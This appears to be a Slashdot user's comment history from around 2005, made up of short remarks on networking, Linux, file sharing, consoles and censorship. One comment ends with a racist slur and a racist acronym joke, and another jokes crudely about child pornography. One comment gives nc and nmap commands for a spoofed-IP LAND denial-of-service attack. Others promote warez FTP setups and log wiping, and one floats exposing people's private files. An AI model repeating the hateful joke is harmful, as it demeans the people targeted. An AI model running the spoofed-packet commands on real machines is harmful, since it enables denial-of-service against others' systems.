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  1. Re:Personal projects? on Software Development Practices At Google · · Score: 1

    More like better access to the database to perform queries that would be bad to allow publicly, but fun internally.
    An example of a neat pet project you could do at google would be making something where you enter a url and have it generate a faux directory list based on every page that has referenced files inside the dir. (I know about inurl:, but that only returns indexed documents. my idea would reveal all the jpegs in some girls private webspace with an empty index.html because someone else linked to the file on their live journal. again, entirely hypothetical)

  2. Re:This is NOT useable on Google's X Files Vanish · · Score: 1

    Google creating this didn't get press attention.
    Google putting this up for a day and then pulling it got press attention. The story is that it went public for a short time before being pulled.

    Also, this is very well coded considering how well it worked even on my old copy of mozilla(back in the milestone days. Old copy of knoppix, don't ask.)
    Maybe you're confusing optimized code for bad code?

  3. Re:British Phonographic Industry? on European Piracy Crackdowns · · Score: 1

    Everyone interprets terms differently.Whats hostile and vulgar to some is endearing to others. Add on to that that who says it impacts it too. Example:

    Black guy to another black guy that just asked him something stupid: Nigger please. -Good.
    White guy, southern accent, cross burning in yard, yells "get out here nigger" -Hostile.

    Sames true for anything else. I know a bisexual girl who was losing interest in men entirely, and was calling herself a dyke. Obviously, not hostile. Yet if you stood up in the middle of Ellen's show and yelled "SHUT THE FUCK UP YOU STUPID DYKE", its hostile.

    Words are just combinations of letters, there is no good or bad in them any more than a tool (like a gun, or knife) can be 'good' or 'bad'. Its all in how you use them/their context.

    This is why censorship is a stupid idea. They(In this case, the FCC) decied what the public is offended by, and blanketly disallows its use regardless of meaning.

    Hope this offtopic rant helps, and for the record, its
    Niggers
    Are
    All
    Colored
    Polacks.

    HTH.

  4. Re:Oh yea!?!? on CeBIT 2005: SLI Shuttle Surfaces · · Score: 1

    The sad thing is I actually have both cards(well, chips) mentioned in this thread. Luckily I havn't had to use either in ages, but I do remember getting 15fps in tfc in software mode(no support for GL/DX), 320x240 or so.

  5. Re:Power on CeBIT 2005: SLI Shuttle Surfaces · · Score: 1

    You'd be suprised how noticable the power drain can be. My teammate got a nice highend ATI workstation card (FireGL I believe) and of course used it to play counterstrike with us. The problem was if someone threw a smoke grenade, the extra gpu cycles would push his UPS too far and cause it to give a warning beep. Yes, Throwing smokes at him while he tried to talk was as fun as you'd imagine.

  6. Re:Why SSL instead of something related to SSH? on Implicit SSL FTP Clients with Scripting? · · Score: 1

    Because SSH is not good for virtual users. AUTH TLS + SSL file listings are used for situations where you want a lot of people to access files without anyone even knowing where the box is (*cough* warez)

    FTP is also good for its various features you just cant do with SFTP/SCP, like site to site transfers, and scripting. For example, uploading a .sfv causes symlinks to be created for (filename in sfv thats not uploaded-missing so anyone connecting knows what needs to be uploaded, and then show a status dir showing percentage uploaded, and automaticly create a .info showing who uploaded how much.

    So really, right tool for the right job.

    Disclaimer: I uh, just read a lot, I would never break copyright law or condone its breaking.

  7. FTPRush on Implicit SSL FTP Clients with Scripting? · · Score: 1

    FTPRush is good, especially for scene stuff (It does auto sfv creation, makes status dirs, etc)
    It has a full scriptable interface including some example mirc script to control it.

    Just don't be lame and autotrade.

    Google will find it, its too late to dig out links.

  8. Re:Finally on Nintendo's Next Console Revolution Will Have WiFi · · Score: 1

    Just need one controller with enough buttons for everything.
    You don't need cartridge slots either, just network load them from nintendos server. I'd pay $10/mo to have access to tetris attack, super bomberman, All the good mario games, etc.
    Monthly fee would work as you could always network load the games and not even need to cache them, though caching would be easy too. Maybe also have the option of buying a perm copy for something cheap, and you'd make some extra cash on for example people buying zelda: Link to the past whenever the new zelda game comes out for nostalgia sake.

  9. Re:Azureus rocks... on Long-Awaited BitTorrent 4.0 Released · · Score: 2, Informative

    And doesnt report stats right. Not a problem for some, but anyone that uses empornium should know that they get no upload credit and will end up throttled

  10. Re:Separate on Free SSL Certificate Project · · Score: 1

    Thats why i mentioned once you accept it. If you have the original valid self signed cert its just as secure as trusting verisign. You just need a secure method of obtaining the cert

  11. Re:Timebomb running of Linux commands? on "Enemies of Linux" Trying to Undermine OS? · · Score: 1

    (sleep 10;eval kill \$\(pidof nethack\))&nethack

    Probably not the best way, but that works. You could dump the pid of the process into a .pid and kill it that way, but whatever works. the (sleep bit is whats important.

  12. The biggest enemy is ourself. on "Enemies of Linux" Trying to Undermine OS? · · Score: 5, Insightful

    If we still cant have consistant pasting between apps, I'd say we're our own biggest enemy. I've used linux since the 2.0 kernel days and even I still find it impossible to paste between different apps, especially with a different toolkit. Throw in an odd app like Mozilla and forget about it, you'll end up replacing your own clipboard with what you're trying to paste over, or pasting 3 lines into the url bar which happily takes newlines.
    Why can't we just unite like all the good apps on windows, mac os, qnx, amiga.. and everything else with a real solid dev team?

  13. Re:I know its been around, but...Linking to source on Windows 2003 and XP SP2 Vulnerable To LAND Attack · · Score: 1

    The source and description are essentially the same, its a very simple attack, you don't really need a c compiler on most machines to pull it off:

    nc -s $IP $IP 113
    nmap -sS -s $IP $IP -p 113

    or anything else that lets you connect with a spoofed ip.

  14. Re:Separate on Free SSL Certificate Project · · Score: 1

    So sign your own certs. Its no more secure than saying 'come on, its me, you can trust me' with nobody vouching for the server, but it will encrypt fine. I've been doing it for years in places where encryption is more important than identifying a server, namely with small devel sites, and ftp servers (though in that instance a man in the middle would be bad, but once you've accepted and saved the self signed cert its not an issie AFAIK)

  15. Re:Sooner or later, this flag will no longer wave. on Broadcast Flag in Trouble · · Score: 1

    "What happened to fair use..."

    We abused our right to fair use a long time ago.
    We copied a few tapes among friends, They didn't care. We started mass pirating their shows, They stopped being so understanding.
    Its hardly fair use when houndreds of thousands of people all download the exact same release. Entirely stripped of comercials, usually blurred out the network logo too. Who pays for the production of the show? Who pays the dozens of actors, writers, directors, producers, etc? Of course they're going to get upset.

  16. Re:Hmm on Dvorak on Google and Wikipedia · · Score: 1

    He said ATTEMPTING to have a monopoly. They don't have it yet, but don't think they arn't trying.
    Search engines are just one of their markets, they have many many others. And microsoft is a convicted monopoly, yet every one of their products has alternatives.

  17. Re:Once again... on Court Docs Reveal Kazaa Logging User Downloads · · Score: 0, Troll

    I was implying P2P isn't private. Everything I mentioned is used on a lot of private ftp sites.
    Whoever moderated me up is probably more in the know than you are.

  18. firsties. on Linux: Fighting the FUD of Forking · · Score: -1, Offtopic

    Am I the only one that sees the "Nothing for you to see here, move along" and abuses it for firsties?

  19. Re:Old joke on If The Problem Persists, Reboot The Car · · Score: 1

    I fully agree. I was watching South Park with my parents a few years ago, and all of a sudden the TV pops up a giant black screen with green text saying the show was blocked by parental controls. Obviously none of us set them, so eventually we called the manufacturer, and apparently there was a bug that would lock out anything PG or higher and require you to enter the default code (3333). I couldn't talk them into realising that they deserve to have it replaced.

  20. Re:Once again... on Court Docs Reveal Kazaa Logging User Downloads · · Score: 0, Troll

    Generally speaking, if you have access to it and you didnt have to know some really powerful people to get access, and do shittons of favors for them, Its not private.

    Learn how to setup LVM, glftpd, eggdrops with sitebot scripts, and remove all logs from a system, AND talk to the right person at the right time. Then you might be on something private.

  21. Re:Ha on Microsoft Seeks Latitude/Longitude Patent · · Score: 1

    #!/bin/perl -sp0777iX+d*lMLa^*lN%0]dsXx++lMlN/dsM0j]dsj $/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1 lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..) *)$/)

    Because you know, RSA is bad..

    Anything can be done in 'one line' with arbitrary line lengths and code complexity.

  22. Re:Patent on USPTO site on Yahoo! Sues Xfire Game Browser · · Score: 1

    I havn't read the patent so you might be right about it being bad, but Gamespy and Xfire (And Kali/ASE) are very different.

    Gamespy is a server browser that can store the server you just connected to from it, and have other clients query you for it.

    Kali and All Seeing Eye is a server browser that once you query all servers for their details and playerlists, allows you to search for someone.

    Xfire is an IM client with a packet sniffer. It sniffs and sees you connecting to a HL server, and tells your buddylist.

  23. Re:New worst job in technology on Computer-Edited Photos Lead To Child-Porn Locale · · Score: 2, Funny

    Not for pedos. You'd get free access to kiddy porn and not even worry about the legality. You'd stare at it all day and it would just be part of the job.

    I read somewhere about how the majority of kiddy porn sites are ran by some form of govt for sting operations. I wonder how many of those govt employees actually enjoy their work more than they should?

  24. Re:Never really understood the fuss on DC Could Ban 'Mature' Video Game Sales to Minors · · Score: 1

    Or one step further: Why can anyone buy things for themselfs? We'd be safer if our government bought everything for us.

  25. Re:Not enforceable and here's why. on DC Could Ban 'Mature' Video Game Sales to Minors · · Score: 1

    "
    Yes there is. It's called a credit card."

    Started getting the snail mail spam for those since I was 15, Finally got one when I was 16.

    Of course my parents wern't the type to prevent me from watching/playing something because a sticker says other people my age might not be able to handle it.